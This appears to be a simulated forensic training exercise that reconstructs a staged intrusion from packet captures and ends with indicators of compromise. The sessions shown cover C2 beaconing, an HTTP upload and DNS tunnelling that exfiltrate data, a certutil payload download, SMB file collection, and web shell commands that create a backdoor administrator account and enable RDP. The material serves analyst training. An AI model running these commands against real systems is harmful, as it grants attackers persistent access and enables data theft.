================================================================================
SIMULATED NETWORK FORENSICS DATA -- FORENSIC TRAINING EXERCISE
Case: INTL-2025-0042 | Source: Network TAP on VLAN 5 (Workstation Segment)
Capture: capture_vlan5_20250715.pcap | Duration: 02:30 - 04:30 UTC
SHA-256: d4e5f6a7b8c9...1d2e (simulated)
Analyzed with: Wireshark 4.2.5, tshark, NetworkMiner 2.9
================================================================================

========================================
SESSION 1: Initial C2 Communication (HTTPS)
========================================

Timestamp:     2025-07-15 02:47:34.127 UTC
Source:        10.0.5.21:49823
Destination:   185.220.101.47:8443
Protocol:      TLS 1.2
Duration:      1h 27m 59s (long-lived session)
Bytes Sent:    2,847,293
Bytes Recv:    14,502,871

TLS Certificate Details:
  Version:             3 (TLS 1.2)
  Serial Number:       0x0A1B2C3D4E5F
  Signature Algorithm: sha256WithRSAEncryption
  Issuer:              CN=localhost, O=Internet Widgits Pty Ltd, ST=Some-State, C=AU
  Subject:             CN=localhost, O=Internet Widgits Pty Ltd, ST=Some-State, C=AU
  Not Before:          2025-07-10 00:00:00 UTC
  Not After:           2026-07-10 00:00:00 UTC
  Public Key:          RSA 2048 bit
  SHA-256 Fingerprint: 3a:f2:8b:c1:4d:e5:6f:a7:92:b3:c4:d5:e6:f7:08:19:...

>>> ALERT: Self-signed certificate with default OpenSSL fields
>>> CN=localhost is a strong indicator of C2 infrastructure
>>> Certificate created only 5 days before the incident
>>> "Internet Widgits Pty Ltd" is the default OpenSSL organization -- not customized
>>> JA3 Hash: 72a589da586844d7f0818ce684948eea (matches known Cobalt Strike beacon)
>>> JA3S Hash: ae4edc6faf64d08308082ad26be60767

TLS Session Characteristics:
  - Beacon interval: ~60 seconds with 25% jitter (45-75s between connections)
  - Consistent POST request sizes suggest C2 check-in pattern
  - Periodic large responses indicate task delivery from C2 server
  - Session uses TLS 1.2 (not 1.3) -- older C2 framework

========================================
SESSION 2: HTTP POST -- Payload Upload to C2
========================================

Timestamp:     2025-07-15 03:46:15.842 UTC
Source:        10.0.5.21:49912
Destination:   185.220.101.47:443
Protocol:      HTTP/1.1 (unencrypted within TLS tunnel, reconstructed from memory)

--- Reconstructed HTTP Request ---

POST /upload HTTP/1.1
Host: 185.220.101.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/octet-stream
X-Session-ID: 7a4f21c-beacon-03
Content-Length: 52428800
Connection: keep-alive

[Base64-encoded payload body -- first 512 bytes shown]
UEsDBBQAAAAIAGRXdFkAAAAAAAAAAAAAABIAHABDb25maWRlbnRpYWwvUFgF
AAEYAAsAAQAEAOgDAAAEAOgDAABQSwMEFAAIAAgAZFd0WQAAAAAAAAAAdBAA
ABsAHABDb25maWRlbnRpYWwvUTNfRmluYW5jaWFscy54bHN4VVQJAAOhH65n
oR+uZ3V4CwABBOgDAAAE6AMAAJVXezfTaxzHJ2abyCV3udXuZBdzLZncKkop
ypXcb8ltUq4RJSGXyCXkfu+RS4Rc4oTEkCHXOMP8Zvbb3vv85Z7zx3vt5/k+
z/P9fp7POeeKcvDwdhVqU4C7eAQ6mJNAAjvCHAWYQUYBQRaeFrbiEuqG3oau
...
[Truncated -- total 52,428,800 bytes / ~50 MB]

--- Reconstructed HTTP Response ---

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 15 Jul 2025 03:47:02 GMT
Content-Type: application/json
Content-Length: 47

{"status":"received","id":"exfil-042-20250715"}

>>> ALERT: 50 MB data exfiltration to C2 server
>>> Base64 content decodes to a ZIP archive (PK magic bytes: 50 4B 03 04)
>>> Archive contains files from "Confidential/" directory
>>> Filename within archive: "Q3_Financials.xlsx" -- matches file on victim filesystem
>>> X-Session-ID header contains beacon identifier

========================================
SESSION 3: DNS Tunneling (Data Exfiltration Channel)
========================================

Timestamp Range: 2025-07-15 03:50:00 - 04:10:00 UTC
Source:          10.0.5.21
Destination:     185.220.101.47 (authoritative NS for data-analytics-cdn.net)
Protocol:        DNS (UDP/53)
Total Queries:   847 TXT record queries in 20 minutes

--- Sample DNS TXT Queries (data encoded in subdomain labels) ---

Query #1:   2025-07-15 03:50:01.234
  Type:     TXT
  Name:     aGVsbG8gd29ybGQgdGhpcyBpcyBhIHRlc3Q.0001.tx.data-analytics-cdn.net
  Response: TXT "ACK-0001"

Query #2:   2025-07-15 03:50:02.891
  Type:     TXT
  Name:     UEsDBBQAAAAIAGRXdFkAAAAAAAAAAA.0002.tx.data-analytics-cdn.net
  Response: TXT "ACK-0002"

Query #3:   2025-07-15 03:50:04.102
  Type:     TXT
  Name:     c2VjcmV0IGRvY3VtZW50IGNvbnRlbnQ.0003.tx.data-analytics-cdn.net
  Response: TXT "ACK-0003"

Query #47:  2025-07-15 03:52:18.445
  Type:     TXT
  Name:     Y3JlZGVudGlhbHM6YWRtaW46UEBzc3cwcmQ.0047.tx.data-analytics-cdn.net
  Response: TXT "ACK-0047"

  >>> DECODED (base64): "credentials:admin:P@ssw0rd"
  >>> ALERT: Credentials being exfiltrated via DNS tunneling

Query #412: 2025-07-15 03:59:55.672
  Type:     TXT
  Name:     ZW5kIG9mIGV4ZmlsdHJhdGlvbiBiYXRjaCAx.0412.tx.data-analytics-cdn.net
  Response: TXT "ACK-0412-BATCH-COMPLETE"

--- DNS Query Statistics ---
  Total TXT queries to data-analytics-cdn.net:  847
  Average query rate:                            ~42 queries/minute
  Average subdomain label length:                38 characters (base64)
  Sequential counter in subdomain:               0001 to 0847
  Estimated data exfiltrated via DNS:            ~31 KB (encoded)
  All queries answered by:                       185.220.101.47

>>> ALERT: DNS TXT record queries used as covert data exfiltration channel
>>> Subdomain labels contain base64-encoded data chunks
>>> Sequential numbering enables reassembly at C2 server
>>> Domain data-analytics-cdn.net registered 7 days before incident
>>> Registrar: NameCheap | Registration privacy enabled
>>> Normal DNS baseline for this workstation: ~50 queries/hour, 0 TXT queries/day

========================================
SESSION 4: Payload Download via Certutil (HTTP)
========================================

Timestamp:     2025-07-15 03:22:08.331 UTC
Source:        10.0.5.21:49902
Destination:   198.51.100.23:80
Protocol:      HTTP/1.1

--- HTTP Request ---

GET /payload.b64 HTTP/1.1
Host: 198.51.100.23
User-Agent: Microsoft-CryptoAPI/10.0
Connection: Keep-Alive
Cache-Control: no-cache

--- HTTP Response ---

HTTP/1.1 200 OK
Server: Apache/2.4.41
Date: Tue, 15 Jul 2025 03:22:08 GMT
Content-Type: application/octet-stream
Content-Length: 524288
Last-Modified: Mon, 14 Jul 2025 22:15:00 GMT
ETag: "80000-61b2f3c4d5e6f"

[Base64-encoded content -- 524,288 bytes]
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAOAAAAB4fug4AtAnNIbgBTM0hVGhpcyBwcm9
ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAA
...

>>> ALERT: Certutil downloading base64-encoded PE file from staging server
>>> User-Agent "Microsoft-CryptoAPI/10.0" is the default certutil UA
>>> Base64 decodes to a PE executable (MZ header: 4D 5A)
>>> Decoded file size: 393,216 bytes
>>> Decoded SHA-256: e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7
>>> VirusTotal hits (simulated): 47/72 engines detect as Trojan.GenericKD.46789012

--- Staging Server Details ---
IP Address:     198.51.100.23
Hostname:       (no PTR record)
HTTP Server:    Apache/2.4.41
SSL:            Not configured (HTTP only)
Hosted files observed:
  /payload.b64      524,288 bytes   (PE executable, base64)
  /update.dll       245,760 bytes   (retrieved earlier, not captured in pcap window)
  /config.dat       4,096 bytes     (C2 configuration, encrypted)

>>> Server appears to be a compromised web server used for staging
>>> No index page, directory listing disabled
>>> Server located in AS12345 (Example Hosting Provider)

========================================
SESSION 5: Lateral Movement -- SMB Traffic
========================================

Timestamp:     2025-07-15 03:08:44.556 UTC
Source:        10.0.5.21 (WORKSTATION-PC)
Destination:   10.0.5.50 (FILESERVER01)
Protocol:      SMB2/3

--- SMB Session Details ---

Authentication:
  Time:        2025-07-15 03:08:44 UTC
  Account:     CORP\jdoe
  Type:        NTLM v2
  Status:      STATUS_SUCCESS

File Operations (reconstructed from SMB traffic):
  03:08:45  Tree Connect  \\FILESERVER01\Confidential$   STATUS_SUCCESS
  03:08:46  Create        Q3_Financials.xlsx              Read Access
  03:08:47  Read          Q3_Financials.xlsx              45,056 bytes
  03:08:47  Close         Q3_Financials.xlsx
  03:09:01  Create        Strategic_Plan_2026.pptx        Read Access
  03:09:02  Read          Strategic_Plan_2026.pptx        2,097,152 bytes
  03:09:05  Close         Strategic_Plan_2026.pptx
  03:09:15  Create        Employee_Salaries.xlsx          Read Access
  03:09:16  Read          Employee_Salaries.xlsx          1,048,576 bytes
  03:09:18  Close         Employee_Salaries.xlsx
  03:09:30  Create        M&A_Targets.docx                Read Access
  03:09:31  Read          M&A_Targets.docx                524,288 bytes
  03:09:32  Close         M&A_Targets.docx
  03:10:00  Create        Customer_Database_Export.csv     Read Access
  03:10:05  Read          Customer_Database_Export.csv     48,234,496 bytes
  03:10:45  Close         Customer_Database_Export.csv
  03:10:46  Tree Disconnect \\FILESERVER01\Confidential$

Total data read from file server: ~52 MB

>>> ALERT: Access to hidden administrative share Confidential$
>>> Sensitive files accessed: financials, strategic plans, salary data, M&A documents
>>> Customer database (48 MB) matches approximate size of exfiltrated archive
>>> All access within 2-minute window -- automated collection, not manual browsing

========================================
SESSION 6: Web Shell Communication
========================================

Timestamp Range: 2025-07-15 03:32:00 - 03:40:00 UTC
Source:          Various (10.0.5.21, then external)
Destination:     10.0.5.21:80 (IIS on WORKSTATION-PC)
Protocol:        HTTP/1.1

--- Web Shell Request #1 (test from attacker) ---

POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1
Host: 10.0.5.21
User-Agent: Mozilla/5.0 (compatible)
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

cmd=whoami+%2Fall

--- Web Shell Response #1 ---

HTTP/1.1 200 OK
Content-Type: text/html

<pre>
corp\workstation-pc$

USER INFORMATION
----------------
User Name           SID
=================== =============================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-...
</pre>

--- Web Shell Request #2 (establish alternative access) ---

POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1
Host: 10.0.5.21
User-Agent: Mozilla/5.0 (compatible)
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

cmd=net+user+backdoor+C0mpl3x%21Pass+%2Fadd+%26%26+net+localgroup+administrators+backdoor+%2Fadd

  >>> DECODED: net user backdoor C0mpl3x!Pass /add && net localgroup administrators backdoor /add
  >>> ALERT: Web shell used to create backdoor local admin account

--- Web Shell Request #3 (enable RDP for persistence) ---

POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1
Host: 10.0.5.21
User-Agent: Mozilla/5.0 (compatible)
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

cmd=reg+add+%22HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal+Server%22+%2Fv+fDenyTSConnections+%2Ft+REG_DWORD+%2Fd+0+%2Ff

  >>> DECODED: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  >>> ALERT: Enabling RDP via web shell for alternative persistent access

========================================
NETWORK INDICATORS OF COMPROMISE (IOCs)
========================================

C2 Infrastructure:
  185.220.101.47:8443    Primary C2 (Cobalt Strike beacon, HTTPS)
  185.220.101.47:443     Secondary C2 channel (data exfiltration)
  185.220.101.47:53      DNS tunneling endpoint (authoritative NS)

Staging Server:
  198.51.100.23:80       Payload hosting (HTTP, no TLS)

Malicious Domain:
  data-analytics-cdn.net  DNS tunneling domain (registered 2025-07-08)

Attacker Source IP:
  91.234.99.187           RDP source (initial access)

JA3 Fingerprints:
  72a589da586844d7f0818ce684948eea  (C2 client -- Cobalt Strike)
  ae4edc6faf64d08308082ad26be60767  (C2 server response)

TLS Certificate:
  SHA-256: 3a:f2:8b:c1:4d:e5:6f:a7:92:b3:c4:d5:e6:f7:08:19:...
  CN=localhost, O=Internet Widgits Pty Ltd (self-signed, default OpenSSL)

User-Agents:
  Microsoft-CryptoAPI/10.0  (certutil LOLBin download)
  Mozilla/5.0 (compatible)  (web shell interaction)

Files Downloaded:
  /stager                (PowerShell stager from C2)
  /payload.b64           (PE executable from staging server)
  /update.dll            (DLL implant from staging server)
  /config.dat            (C2 configuration from staging server)

================================================================================
END OF SIMULATED NETWORK FORENSICS DATA
================================================================================
